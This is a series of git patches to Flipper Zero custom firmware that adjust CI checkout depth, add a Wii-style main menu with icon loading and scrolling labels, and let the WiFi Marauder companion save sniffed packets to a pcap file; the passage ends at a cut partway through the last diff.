--- a/.github/workflows/pvs_studio.yml +++ b/.github/workflows/pvs_studio.yml @@ -28,7 +28,7 @@ jobs: - name: 'Checkout code' uses: actions/checkout@v3 with: - fetch-depth: 0 + fetch-depth: 1 ref: ${{ github.event.pull_request.head.sha }} - name: 'Get commit details' diff --git a/.github/workflows/unit_tests.yml b/.github/workflows/unit_tests.yml index 527e9a71e..bed5a470d 100644 --- a/.github/workflows/unit_tests.yml +++ b/.github/workflows/unit_tests.yml @@ -21,7 +21,7 @@ jobs: - name: Checkout code uses: actions/checkout@v3 with: - fetch-depth: 0 + fetch-depth: 1 ref: ${{ github.event.pull_request.head.sha }} - name: 'Get flipper from device manager (mock)' diff --git a/.github/workflows/updater_test.yml b/.github/workflows/updater_test.yml index 300440aae..eba34e988 100644 --- a/.github/workflows/updater_test.yml +++ b/.github/workflows/updater_test.yml @@ -21,7 +21,8 @@ jobs: - name: Checkout code uses: actions/checkout@v3 with: - fetch-depth: 0 + fetch-depth: 1 + submodules: false ref: ${{ github.event.pull_request.head.sha }} - name: 'Get flipper from device manager (mock)' @@ -62,7 +63,7 @@ jobs: uses: actions/checkout@v3 if: failure() with: - fetch-depth: 0 + fetch-depth: 1 ref: ${{ steps.release_tag.outputs.tag }} - name: 'Flash last release' diff --git a/fbt b/fbt index f80e802b6..efe625f03 100755 --- a/fbt +++ b/fbt @@ -25,10 +25,10 @@ fi if [ -z "$FBT_NO_SYNC" ]; then if [ ! -d "$SCRIPT_PATH/.git" ]; then - echo "\".git\" directory not found, please clone repo via \"git clone --recursive\""; + echo "\".git\" directory not found, please clone repo via \"git clone\""; exit 1; fi - git submodule update --init; + git submodule update --init --depth 1; fi $SCONS_EP $SCONS_DEFAULT_FLAGS "$@" diff --git a/fbt.cmd b/fbt.cmd index 92c734860..6e839c778 100644 --- a/fbt.cmd +++ b/fbt.cmd @@ -5,9 +5,9 @@ set SCONS_EP=python -m SCons if [%FBT_NO_SYNC%] == [] ( if exist ".git" ( - git submodule update --init + git submodule update --init --depth 1 ) else ( - echo Not in a git repo, please clone with git clone --recursive + echo Not in a git repo, please clone with "git clone" exit /b 1 ) ) From 9e08427c010837632a16898fe65e62ec20e39811 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Wed, 15 Mar 2023 16:19:56 +0000 Subject: [PATCH 107/329] Expose CUSTOM_ICON_MAX_SIZE --- applications/services/gui/modules/file_browser.c | 2 -- applications/services/gui/modules/file_browser.h | 2 ++ 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/applications/services/gui/modules/file_browser.c b/applications/services/gui/modules/file_browser.c index 6a87fa0f5..8affe8330 100644 --- a/applications/services/gui/modules/file_browser.c +++ b/applications/services/gui/modules/file_browser.c @@ -22,8 +22,6 @@ #define ITEM_LIST_LEN_MAX 50 -#define CUSTOM_ICON_MAX_SIZE 32 - #define SCROLL_INTERVAL (333) #define SCROLL_DELAY (2) diff --git a/applications/services/gui/modules/file_browser.h b/applications/services/gui/modules/file_browser.h index 879d62c4e..e8e9228f7 100644 --- a/applications/services/gui/modules/file_browser.h +++ b/applications/services/gui/modules/file_browser.h @@ -11,6 +11,8 @@ extern "C" { #endif +#define CUSTOM_ICON_MAX_SIZE 32 + typedef struct FileBrowser FileBrowser; typedef void (*FileBrowserCallback)(void* context); From 3b52abd4f6cc414416046129f18e2a0f4ff7f217 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Wed, 15 Mar 2023 16:38:37 +0000 Subject: [PATCH 108/329] Load FAP icons for custom mainmenu apps --- applications/services/loader/loader.c | 57 +++++++++++++++++++-------- 1 file changed, 40 insertions(+), 17 deletions(-) diff --git a/applications/services/loader/loader.c b/applications/services/loader/loader.c index 1e604e3d1..868d86358 100644 --- a/applications/services/loader/loader.c +++ b/applications/services/loader/loader.c @@ -9,6 +9,7 @@ #include #include #include +#include #define TAG "LoaderSrv" @@ -422,12 +423,34 @@ static void loader_free(Loader* instance) { instance = NULL; } -const Icon* loader_get_main_icon(char* name) { - // Temp solution, not sure how this could be easily improved - if(strcmp(name, "xtreme_app.fap") == 0) { - return &A_Xtreme_14; +bool loader_load_fap_meta(Storage* storage, FuriString* path, FuriString* name, const Icon** icon) { + *icon = NULL; + uint8_t* icon_buf = NULL; + // Match main apps as FAPs for buil-in icons + if(furi_string_equal_str(path, EXT_PATH("apps/.Main/xtreme_app.fap"))) { + *icon = &A_Xtreme_14; } - return NULL; + // Load FAP bundled icon otherwise + if(!*icon) { + icon_buf = malloc(CUSTOM_ICON_MAX_SIZE); + } + if(!fap_loader_load_name_and_icon(path, storage, &icon_buf, name)) { + if(icon_buf) { + free(icon_buf); + icon_buf = NULL; + } + return false; + } + if(icon_buf) { + *icon = malloc(sizeof(Icon)); + FURI_CONST_ASSIGN((*icon)->frame_count, 1); + FURI_CONST_ASSIGN((*icon)->frame_rate, 0); + FURI_CONST_ASSIGN((*icon)->width, 10); + FURI_CONST_ASSIGN((*icon)->height, 10); + FURI_CONST_ASSIGN_PTR((*icon)->frames, malloc(sizeof(const uint8_t*))); + FURI_CONST_ASSIGN_PTR((*icon)->frames[0], icon_buf); + } + return true; } static void loader_build_menu() { @@ -470,26 +493,26 @@ static void loader_build_menu() { Storage* storage = furi_record_open(RECORD_STORAGE); FuriString* path = furi_string_alloc(); - FuriString* appname = furi_string_alloc(); + FuriString* name = furi_string_alloc(); File* folder = storage_file_alloc(storage); FileInfo info; - char* name = malloc(100); if(storage_dir_open(folder, EXT_PATH("apps/.Main"))) { - while(storage_dir_read(folder, &info, name, 100)) { + char* temp = malloc(100); + while(storage_dir_read(folder, &info, temp, 100)) { if(file_info_is_dir(&info)) continue; - furi_string_printf(path, EXT_PATH("apps/.Main/%s"), name); - if(!fap_loader_load_name_and_icon(path, storage, NULL, appname)) continue; - const Icon* icon = loader_get_main_icon(name); + furi_string_printf(path, EXT_PATH("apps/.Main/%s"), temp); + const Icon* icon; + if(!loader_load_fap_meta(storage, path, name, &icon)) continue; menu_add_item( loader_instance->primary_menu, - strdup(furi_string_get_cstr(appname)), + strdup(furi_string_get_cstr(name)), icon, i++, loader_main_callback, (void*)strdup(furi_string_get_cstr(path))); } + free(temp); } - free(name); storage_file_free(folder); Stream* stream = file_stream_alloc(storage); @@ -497,11 +520,11 @@ static void loader_build_menu() { while(stream_read_line(stream, path)) { furi_string_replace_all(path, "\r", ""); furi_string_replace_all(path, "\n", ""); - if(!fap_loader_load_name_and_icon(path, storage, NULL, appname)) continue; - const Icon* icon = loader_get_main_icon(name); + const Icon* icon; + if(!loader_load_fap_meta(storage, path, name, &icon)) continue; menu_add_item( loader_instance->primary_menu, - strdup(furi_string_get_cstr(appname)), + strdup(furi_string_get_cstr(name)), icon, i++, loader_main_callback, @@ -510,7 +533,7 @@ static void loader_build_menu() { } file_stream_close(stream); stream_free(stream); - furi_string_free(appname); + furi_string_free(name); furi_string_free(path); furi_record_close(RECORD_STORAGE); } From 9c9f5d784f053ed231c677f7e81001fc2c2c025d Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Wed, 15 Mar 2023 16:47:16 +0000 Subject: [PATCH 109/329] Properly center custom app icons --- applications/services/gui/modules/menu.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/applications/services/gui/modules/menu.c b/applications/services/gui/modules/menu.c index e81868b7e..71163ffbe 100644 --- a/applications/services/gui/modules/menu.c +++ b/applications/services/gui/modules/menu.c @@ -2,6 +2,8 @@ #include #include +#include +#include #include #include @@ -64,7 +66,7 @@ static void menu_draw_callback(Canvas* canvas, void* _model) { canvas_set_color(canvas, ColorWhite); } if(item->icon) { - canvas_draw_icon_animation(canvas, 13 + x_off, 3 + y_off, item->icon); + canvas_draw_icon_animation(canvas, (40 - item->icon->icon->width) / 2 + x_off, (20 - item->icon->icon->height) / 2 + y_off, item->icon); } furi_string_set(name, item->label); elements_scrollable_text_line( From e9de964690c92b6b825549275fb0043e85c642ea Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Wed, 15 Mar 2023 17:51:41 +0000 Subject: [PATCH 110/329] Scroll app names in wii ui --- applications/services/gui/elements.c | 4 +- applications/services/gui/modules/menu.c | 56 ++++++++++++++++++------ 2 files changed, 45 insertions(+), 15 deletions(-) diff --git a/applications/services/gui/elements.c b/applications/services/gui/elements.c index ae2f54b2c..65cb94ceb 100644 --- a/applications/services/gui/elements.c +++ b/applications/services/gui/elements.c @@ -586,6 +586,8 @@ void elements_scrollable_text_line( size_t len_px = canvas_string_width(canvas, furi_string_get_cstr(line)); if(len_px > width) { + centered = false; + x -= width / 2; if(ellipsis) { width -= canvas_string_width(canvas, "..."); } @@ -618,7 +620,7 @@ void elements_scrollable_text_line( } if (centered) { - canvas_draw_str_aligned(canvas, x, y, AlignCenter, AlignCenter, furi_string_get_cstr(line)); + canvas_draw_str_aligned(canvas, x, y, AlignCenter, AlignBottom, furi_string_get_cstr(line)); } else { canvas_draw_str(canvas, x, y, furi_string_get_cstr(line)); } diff --git a/applications/services/gui/modules/menu.c b/applications/services/gui/modules/menu.c index 71163ffbe..87d346e88 100644 --- a/applications/services/gui/modules/menu.c +++ b/applications/services/gui/modules/menu.c @@ -9,6 +9,7 @@ struct Menu { View* view; + FuriTimer* scroll_timer; }; typedef struct { @@ -26,6 +27,7 @@ ARRAY_DEF(MenuItemArray, MenuItem, M_POD_OPLIST); typedef struct { MenuItemArray_t items; size_t position; + size_t scroll_counter; } MenuModel; static void menu_process_up(Menu* menu); @@ -57,27 +59,36 @@ static void menu_draw_callback(Canvas* canvas, void* _model) { size_t x_off, y_off; for(int i = 0; i < 6; i++) { item_i = shift_position + i; - if(item_i >= items_count) break; - item = MenuItemArray_get(model->items, item_i); x_off = (i / 2) * 43 + 1; y_off = (i % 2) * 32; + size_t scroll_counter = 0; + if(item_i == position) { elements_slightly_rounded_box(canvas, 0 + x_off, 0 + y_off, 40, 30); canvas_set_color(canvas, ColorWhite); + scroll_counter = model->scroll_counter; + if(scroll_counter < 1) { + scroll_counter = 0; + } else { + scroll_counter -= 1; + } } - if(item->icon) { + if(item_i < items_count) { + item = MenuItemArray_get(model->items, item_i); + if(item->icon) { canvas_draw_icon_animation(canvas, (40 - item->icon->icon->width) / 2 + x_off, (20 - item->icon->icon->height) / 2 + y_off, item->icon); + } + furi_string_set(name, item->label); + elements_scrollable_text_line( + canvas, + 20 + x_off, + 26 + y_off, + 36, + name, + scroll_counter, + false, + true); } - furi_string_set(name, item->label); - elements_scrollable_text_line( - canvas, - 20 + x_off, - 23 + y_off, - 36, - name, - 0, - false, - true); if(item_i == position) { canvas_set_color(canvas, ColorBlack); } else { @@ -146,6 +157,12 @@ static bool menu_input_callback(InputEvent* event, void* context) { return consumed; } +static void menu_scroll_timer_callback(void* context) { + Menu* menu = context; + with_view_model( + menu->view, MenuModel * model, { model->scroll_counter++; }, true); +} + static void menu_enter(void* context) { Menu* menu = context; with_view_model( @@ -156,8 +173,10 @@ static void menu_enter(void* context) { if(item && item->icon) { icon_animation_start(item->icon); } + model->scroll_counter = 0; }, - false); + true); + furi_timer_start(menu->scroll_timer, 333); } static void menu_exit(void* context) { @@ -172,6 +191,7 @@ static void menu_exit(void* context) { } }, false); + furi_timer_stop(menu->scroll_timer); } Menu* menu_alloc() { @@ -184,6 +204,9 @@ Menu* menu_alloc() { view_set_enter_callback(menu->view, menu_enter); view_set_exit_callback(menu->view, menu_exit); + menu->scroll_timer = + furi_timer_alloc(menu_scroll_timer_callback, FuriTimerTypePeriodic, menu); + with_view_model( menu->view, MenuModel * model, @@ -200,6 +223,7 @@ void menu_free(Menu* menu) { furi_assert(menu); menu_reset(menu); view_free(menu->view); + furi_timer_free(menu->scroll_timer); free(menu); } @@ -281,6 +305,7 @@ static void menu_process_up(Menu* menu) { } else { model->position++; } + model->scroll_counter = 0; item = MenuItemArray_get(model->items, model->position); if(item && item->icon) { @@ -308,6 +333,7 @@ static void menu_process_down(Menu* menu) { } else { model->position++; } + model->scroll_counter = 0; item = MenuItemArray_get(model->items, model->position); if(item && item->icon) { @@ -338,6 +364,7 @@ static void menu_process_left(Menu* menu) { } else { model->position -= 2; } + model->scroll_counter = 0; item = MenuItemArray_get(model->items, model->position); if(item && item->icon) { @@ -372,6 +399,7 @@ static void menu_process_right(Menu* menu) { model->position = model->position % 2; } } + model->scroll_counter = 0; item = MenuItemArray_get(model->items, model->position); if(item && item->icon) { From f93dd51f800a25c9c8e2e2a8646de2dbda58b9ce Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Wed, 15 Mar 2023 18:46:39 +0000 Subject: [PATCH 111/329] Remove empty box from wii menu --- applications/services/gui/modules/menu.c | 30 +++++++++++------------- 1 file changed, 14 insertions(+), 16 deletions(-) diff --git a/applications/services/gui/modules/menu.c b/applications/services/gui/modules/menu.c index 87d346e88..a695a8596 100644 --- a/applications/services/gui/modules/menu.c +++ b/applications/services/gui/modules/menu.c @@ -59,10 +59,10 @@ static void menu_draw_callback(Canvas* canvas, void* _model) { size_t x_off, y_off; for(int i = 0; i < 6; i++) { item_i = shift_position + i; + if(item_i >= items_count) continue; x_off = (i / 2) * 43 + 1; y_off = (i % 2) * 32; size_t scroll_counter = 0; - if(item_i == position) { elements_slightly_rounded_box(canvas, 0 + x_off, 0 + y_off, 40, 30); canvas_set_color(canvas, ColorWhite); @@ -73,22 +73,20 @@ static void menu_draw_callback(Canvas* canvas, void* _model) { scroll_counter -= 1; } } - if(item_i < items_count) { - item = MenuItemArray_get(model->items, item_i); - if(item->icon) { - canvas_draw_icon_animation(canvas, (40 - item->icon->icon->width) / 2 + x_off, (20 - item->icon->icon->height) / 2 + y_off, item->icon); - } - furi_string_set(name, item->label); - elements_scrollable_text_line( - canvas, - 20 + x_off, - 26 + y_off, - 36, - name, - scroll_counter, - false, - true); + item = MenuItemArray_get(model->items, item_i); + if(item->icon) { + canvas_draw_icon_animation(canvas, (40 - item->icon->icon->width) / 2 + x_off, (20 - item->icon->icon->height) / 2 + y_off, item->icon); } + furi_string_set(name, item->label); + elements_scrollable_text_line( + canvas, + 20 + x_off, + 26 + y_off, + 36, + name, + scroll_counter, + false, + true); if(item_i == position) { canvas_set_color(canvas, ColorBlack); } else { From faafee5fb5e9fbfed1a8a90b46677b0a2acf79d4 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Wed, 15 Mar 2023 18:48:54 +0000 Subject: [PATCH 112/329] Wii menu toggle, old menu ext apps and scroll text --- .../scenes/xtreme_app_scene_mainmenu.c | 15 ++ applications/services/gui/modules/menu.c | 178 ++++++++++++------ applications/services/xtreme/settings.c | 1 + applications/services/xtreme/settings.h | 3 +- 4 files changed, 139 insertions(+), 58 deletions(-) diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_mainmenu.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_mainmenu.c index a085fb0ea..a16539ecf 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_mainmenu.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_mainmenu.c @@ -1,6 +1,7 @@ #include "../xtreme_app.h" enum VarItemListIndex { + VarItemListIndexWiiMenu, VarItemListIndexApp, VarItemListIndexRemoveApp, VarItemListIndexAddApp, @@ -13,6 +14,14 @@ void xtreme_app_scene_mainmenu_var_item_list_callback( view_dispatcher_send_custom_event(app->view_dispatcher, index); } +static void xtreme_app_scene_mainmenu_wii_menu_changed(VariableItem* item) { + XtremeApp* app = variable_item_get_context(item); + bool value = variable_item_get_current_value_index(item); + variable_item_set_current_value_text(item, value ? "ON" : "OFF"); + XTREME_SETTINGS()->wii_menu = value; + app->save_settings = true; +} + static void xtreme_app_scene_mainmenu_app_changed(VariableItem* item) { XtremeApp* app = variable_item_get_context(item); app->mainmenu_app_index = variable_item_get_current_value_index(item); @@ -21,9 +30,15 @@ static void xtreme_app_scene_mainmenu_app_changed(VariableItem* item) { void xtreme_app_scene_mainmenu_on_enter(void* context) { XtremeApp* app = context; + XtremeSettings* xtreme_settings = XTREME_SETTINGS(); VariableItemList* var_item_list = app->var_item_list; VariableItem* item; + item = variable_item_list_add( + var_item_list, "Wii menu", 2, xtreme_app_scene_mainmenu_wii_menu_changed, app); + variable_item_set_current_value_index(item, xtreme_settings->wii_menu); + variable_item_set_current_value_text(item, xtreme_settings->wii_menu ? "ON" : "OFF"); + item = variable_item_list_add( var_item_list, "App", diff --git a/applications/services/gui/modules/menu.c b/applications/services/gui/modules/menu.c index a695a8596..8fe8dcbc5 100644 --- a/applications/services/gui/modules/menu.c +++ b/applications/services/gui/modules/menu.c @@ -6,6 +6,7 @@ #include #include #include +#include struct Menu { View* view; @@ -47,51 +48,96 @@ static void menu_draw_callback(Canvas* canvas, void* _model) { MenuItem* item; FuriString* name = furi_string_alloc(); size_t shift_position; - if(position < 2) { - shift_position = 0; - } else if(position >= items_count - 2 + (items_count % 2)) { - shift_position = position - (position % 2) - 4; - } else { - shift_position = position - (position % 2) - 2; - } - canvas_set_font(canvas, FontSecondary); - size_t item_i; - size_t x_off, y_off; - for(int i = 0; i < 6; i++) { - item_i = shift_position + i; - if(item_i >= items_count) continue; - x_off = (i / 2) * 43 + 1; - y_off = (i % 2) * 32; - size_t scroll_counter = 0; - if(item_i == position) { - elements_slightly_rounded_box(canvas, 0 + x_off, 0 + y_off, 40, 30); - canvas_set_color(canvas, ColorWhite); - scroll_counter = model->scroll_counter; - if(scroll_counter < 1) { - scroll_counter = 0; + if(XTREME_SETTINGS()->wii_menu) { + if(position < 2) { + shift_position = 0; + } else if(position >= items_count - 2 + (items_count % 2)) { + shift_position = position - (position % 2) - 4; + } else { + shift_position = position - (position % 2) - 2; + } + canvas_set_font(canvas, FontSecondary); + size_t item_i; + size_t x_off, y_off; + for(int i = 0; i < 6; i++) { + item_i = shift_position + i; + if(item_i >= items_count) continue; + x_off = (i / 2) * 43 + 1; + y_off = (i % 2) * 32; + size_t scroll_counter = 0; + if(item_i == position) { + elements_slightly_rounded_box(canvas, 0 + x_off, 0 + y_off, 40, 30); + canvas_set_color(canvas, ColorWhite); + scroll_counter = model->scroll_counter; + if(scroll_counter < 1) { + scroll_counter = 0; + } else { + scroll_counter -= 1; + } + } + item = MenuItemArray_get(model->items, item_i); + if(item->icon) { + canvas_draw_icon_animation(canvas, (40 - item->icon->icon->width) / 2 + x_off, (20 - item->icon->icon->height) / 2 + y_off, item->icon); + } + furi_string_set(name, item->label); + elements_scrollable_text_line( + canvas, + 20 + x_off, + 26 + y_off, + 36, + name, + scroll_counter, + false, + true); + if(item_i == position) { + canvas_set_color(canvas, ColorBlack); } else { - scroll_counter -= 1; + elements_frame(canvas, 0 + x_off, 0 + y_off, 40, 30); } } - item = MenuItemArray_get(model->items, item_i); + } else { + // First line + canvas_set_font(canvas, FontSecondary); + shift_position = (0 + position + items_count - 1) % items_count; + item = MenuItemArray_get(model->items, shift_position); if(item->icon) { - canvas_draw_icon_animation(canvas, (40 - item->icon->icon->width) / 2 + x_off, (20 - item->icon->icon->height) / 2 + y_off, item->icon); + canvas_draw_icon_animation(canvas, 4 + (14 - item->icon->icon->width) / 2, 3 + (14 - item->icon->icon->height) / 2, item->icon); + } + canvas_draw_str(canvas, 22, 14, item->label); + // Second line main + canvas_set_font(canvas, FontPrimary); + shift_position = (1 + position + items_count - 1) % items_count; + item = MenuItemArray_get(model->items, shift_position); + if(item->icon) { + canvas_draw_icon_animation(canvas, 4 + (14 - item->icon->icon->width) / 2, 25 + (14 - item->icon->icon->height) / 2, item->icon); + } + size_t scroll_counter = model->scroll_counter; + if(scroll_counter < 1) { + scroll_counter = 0; + } else { + scroll_counter -= 1; } furi_string_set(name, item->label); elements_scrollable_text_line( canvas, - 20 + x_off, - 26 + y_off, + 22, 36, + 98, name, scroll_counter, false, - true); - if(item_i == position) { - canvas_set_color(canvas, ColorBlack); - } else { - elements_frame(canvas, 0 + x_off, 0 + y_off, 40, 30); + false); + // Third line + canvas_set_font(canvas, FontSecondary); + shift_position = (2 + position + items_count - 1) % items_count; + item = MenuItemArray_get(model->items, shift_position); + if(item->icon) { + canvas_draw_icon_animation(canvas, 4 + (14 - item->icon->icon->width) / 2, 47 + (14 - item->icon->icon->height) / 2, item->icon); } + canvas_draw_str(canvas, 22, 58, item->label); + // Frame and scrollbar + elements_frame(canvas, 0, 21, 128 - 5, 21); + elements_scrollbar(canvas, position, items_count); } furi_string_free(name); } else { @@ -292,23 +338,31 @@ static void menu_process_up(Menu* menu) { MenuModel * model, { size_t count = MenuItemArray_size(model->items); - if(!(model->position == count - 1 && count % 2)) { - MenuItem* item = MenuItemArray_get(model->items, model->position); - if(item && item->icon) { - icon_animation_stop(item->icon); - } + MenuItem* item = MenuItemArray_get(model->items, model->position); + if(item && item->icon) { + icon_animation_stop(item->icon); + } - if(model->position % 2) { + if(XTREME_SETTINGS()->wii_menu) { + if(!(model->position == count - 1 && count % 2)) { + if(model->position % 2) { + model->position--; + } else { + model->position++; + } + model->scroll_counter = 0; + } + } else { + if(model->position > 0) { model->position--; } else { - model->position++; + model->position = count - 1; } - model->scroll_counter = 0; + } - item = MenuItemArray_get(model->items, model->position); - if(item && item->icon) { - icon_animation_start(item->icon); - } + item = MenuItemArray_get(model->items, model->position); + if(item && item->icon) { + icon_animation_start(item->icon); } }, true); @@ -320,29 +374,38 @@ static void menu_process_down(Menu* menu) { MenuModel * model, { size_t count = MenuItemArray_size(model->items); - if(!(model->position == count - 1 && count % 2)) { - MenuItem* item = MenuItemArray_get(model->items, model->position); - if(item && item->icon) { - icon_animation_stop(item->icon); - } + MenuItem* item = MenuItemArray_get(model->items, model->position); + if(item && item->icon) { + icon_animation_stop(item->icon); + } - if(model->position % 2) { - model->position--; - } else { + if(XTREME_SETTINGS()->wii_menu) { + if(!(model->position == count - 1 && count % 2)) { + if(model->position % 2) { + model->position--; + } else { + model->position++; + } + model->scroll_counter = 0; + } + } else { + if(model->position < count - 1) { model->position++; + } else { + model->position = 0; } - model->scroll_counter = 0; + } - item = MenuItemArray_get(model->items, model->position); - if(item && item->icon) { - icon_animation_start(item->icon); - } + item = MenuItemArray_get(model->items, model->position); + if(item && item->icon) { + icon_animation_start(item->icon); } }, true); } static void menu_process_left(Menu* menu) { + if(!XTREME_SETTINGS()->wii_menu) return; with_view_model( menu->view, MenuModel * model, @@ -373,6 +436,7 @@ static void menu_process_left(Menu* menu) { } static void menu_process_right(Menu* menu) { + if(!XTREME_SETTINGS()->wii_menu) return; with_view_model( menu->view, MenuModel * model, diff --git a/applications/services/xtreme/settings.c b/applications/services/xtreme/settings.c index 060f61bf0..c52db66c9 100644 --- a/applications/services/xtreme/settings.c +++ b/applications/services/xtreme/settings.c @@ -39,6 +39,7 @@ void XTREME_SETTINGS_LOAD() { xtreme_settings->anim_speed = 100; // 100% xtreme_settings->cycle_anims = 0; // Meta.txt xtreme_settings->unlock_anims = false; // OFF + xtreme_settings->wii_menu = true; // ON xtreme_settings->battery_icon = BatteryIconBarPercent; // Bar % xtreme_settings->status_icons = true; // ON xtreme_settings->bar_borders = true; // ON diff --git a/applications/services/xtreme/settings.h b/applications/services/xtreme/settings.h index 13c429446..295c8b2c4 100644 --- a/applications/services/xtreme/settings.h +++ b/applications/services/xtreme/settings.h @@ -15,7 +15,7 @@ extern "C" { #define MAX_PACK_NAME_LEN 32 -#define XTREME_SETTINGS_VERSION (5) +#define XTREME_SETTINGS_VERSION (6) #define XTREME_SETTINGS_PATH_OLD INT_PATH(XTREME_SETTINGS_FILE_NAME) #define XTREME_SETTINGS_PATH EXT_PATH(XTREME_SETTINGS_FILE_NAME) #define XTREME_SETTINGS_MAGIC (0x69) @@ -30,6 +30,7 @@ typedef struct { uint16_t anim_speed; int32_t cycle_anims; bool unlock_anims; + bool wii_menu; BatteryIcon battery_icon; bool status_icons; bool bar_borders; From 3b0daf2f21b69a4ddf85d1fb08a86423c5062608 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Wed, 15 Mar 2023 18:49:17 +0000 Subject: [PATCH 113/329] Fix scrolling text left-align logic --- applications/services/gui/elements.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/applications/services/gui/elements.c b/applications/services/gui/elements.c index 65cb94ceb..c84f09dd6 100644 --- a/applications/services/gui/elements.c +++ b/applications/services/gui/elements.c @@ -586,8 +586,11 @@ void elements_scrollable_text_line( size_t len_px = canvas_string_width(canvas, furi_string_get_cstr(line)); if(len_px > width) { - centered = false; - x -= width / 2; + if(centered) { + centered = false; + x -= width / 2; + } + if(ellipsis) { width -= canvas_string_width(canvas, "..."); } From 2046ac6604de171df2dcb18f9865f8fa7f2aa879 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Thu, 16 Mar 2023 00:00:10 +0300 Subject: [PATCH 114/329] Lets try new changes for marauder companion https://github.com/tcpassos/flipperzero-firmware-with-wifi-marauder-companion --- ReadMe.md | 2 +- .../wifi_marauder_scene_console_output.c | 36 ++++++++++++++++--- .../wifi_marauder_app.c | 33 ++++++++++++++--- .../wifi_marauder_app.h | 2 ++ .../wifi_marauder_app_i.h | 12 ++++++- .../wifi_marauder_pcap.c | 33 +++++++++++++++++ .../wifi_marauder_pcap.h | 11 ++++++ .../wifi_marauder_uart.c | 33 +++++++++++++---- .../wifi_marauder_uart.h | 4 ++- 9 files changed, 147 insertions(+), 19 deletions(-) create mode 100644 applications/external/wifi_marauder_companion/wifi_marauder_pcap.c create mode 100644 applications/external/wifi_marauder_companion/wifi_marauder_pcap.h diff --git a/ReadMe.md b/ReadMe.md index 84b80a1e8..8d48adf5a 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -135,7 +135,7 @@ You can support us by using links or addresses below: - WAV Player [(OFW: DrZlo13)](https://github.com/flipperdevices/flipperzero-firmware/tree/zlo/wav-player) - Fixed and improved by [LTVA1](https://github.com/LTVA1/wav_player) - Barcode generator plugin [(original by McAzzaMan)](https://github.com/McAzzaMan/flipperzero-firmware/tree/UPC-A_Barcode_Generator/applications/barcode_generator) - [EAN-8 and refactoring](https://github.com/DarkFlippers/unleashed-firmware/pull/154) by @msvsergey - GPIO: Sentry Safe plugin [(by H4ckd4ddy)](https://github.com/H4ckd4ddy/flipperzero-sentry-safe-plugin) -- ESP32: WiFi Marauder companion plugin [(by 0xchocolate)](https://github.com/0xchocolate/flipperzero-firmware-with-wifi-marauder-companion) +- ESP32: WiFi Marauder companion plugin [(by 0xchocolate)](https://github.com/0xchocolate/flipperzero-firmware-with-wifi-marauder-companion) - Saving pcap on flipper microSD [by tcpassos](https://github.com/tcpassos/flipperzero-firmware-with-wifi-marauder-companion) - NRF24: Sniffer & MouseJacker (with changes) [(by mothball187)](https://github.com/mothball187/flipperzero-nrf24/tree/main/mousejacker) - Simple Clock (timer by GMMan) [(original by CompaqDisc)](https://gist.github.com/CompaqDisc/4e329c501bd03c1e801849b81f48ea61) - **Sub-GHz Remote** (UniversalRF Remix) [(by @darmiel & @xMasterX)](https://github.com/darmiel/flipper-playlist/tree/feat/unirf-protocols) (original by @ESurge) diff --git a/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_console_output.c b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_console_output.c index 8b9984dbf..77beb733c 100644 --- a/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_console_output.c +++ b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_console_output.c @@ -14,10 +14,26 @@ void wifi_marauder_console_output_handle_rx_data_cb(uint8_t* buf, size_t len, vo // Null-terminate buf and append to text box store buf[len] = '\0'; furi_string_cat_printf(app->text_box_store, "%s", buf); - view_dispatcher_send_custom_event(app->view_dispatcher, WifiMarauderEventRefreshConsoleOutput); } +void wifi_marauder_console_output_handle_rx_packets_cb(uint8_t* buf, size_t len, void* context) { + furi_assert(context); + WifiMarauderApp* app = context; + + // If it is a sniff function, open the pcap file for recording + if(strncmp("sniff", app->selected_tx_string, strlen("sniff")) == 0 && !app->is_writing) { + app->is_writing = true; + if(!app->capture_file || !storage_file_is_open(app->capture_file)) { + wifi_marauder_create_pcap_file(app); + } + } + + if(app->is_writing) { + storage_file_write(app->capture_file, buf, len); + } +} + void wifi_marauder_scene_console_output_on_enter(void* context) { WifiMarauderApp* app = context; @@ -33,8 +49,8 @@ void wifi_marauder_scene_console_output_on_enter(void* context) { furi_string_reset(app->text_box_store); app->text_box_store_strlen = 0; if(0 == strncmp("help", app->selected_tx_string, strlen("help"))) { - const char* help_msg = - "Marauder companion v0.3.0\nFor app support/feedback,\nreach out to me:\n@cococode#6011 (discord)\n0xchocolate (github)\n"; + const char* help_msg = "Marauder companion " WIFI_MARAUDER_APP_VERSION + "\nby @0xchocolate\nmodified by @tcpassos\n"; furi_string_cat_str(app->text_box_store, help_msg); app->text_box_store_strlen += strlen(help_msg); } @@ -54,7 +70,11 @@ void wifi_marauder_scene_console_output_on_enter(void* context) { // Register callback to receive data wifi_marauder_uart_set_handle_rx_data_cb( - app->uart, wifi_marauder_console_output_handle_rx_data_cb); // setup callback for rx thread + app->uart, + wifi_marauder_console_output_handle_rx_data_cb); // setup callback for general log rx thread + wifi_marauder_uart_set_handle_rx_data_cb( + app->lp_uart, + wifi_marauder_console_output_handle_rx_packets_cb); // setup callback for packets rx thread // Send command with newline '\n' if(app->is_command && app->selected_tx_string) { @@ -84,9 +104,15 @@ void wifi_marauder_scene_console_output_on_exit(void* context) { // Unregister rx callback 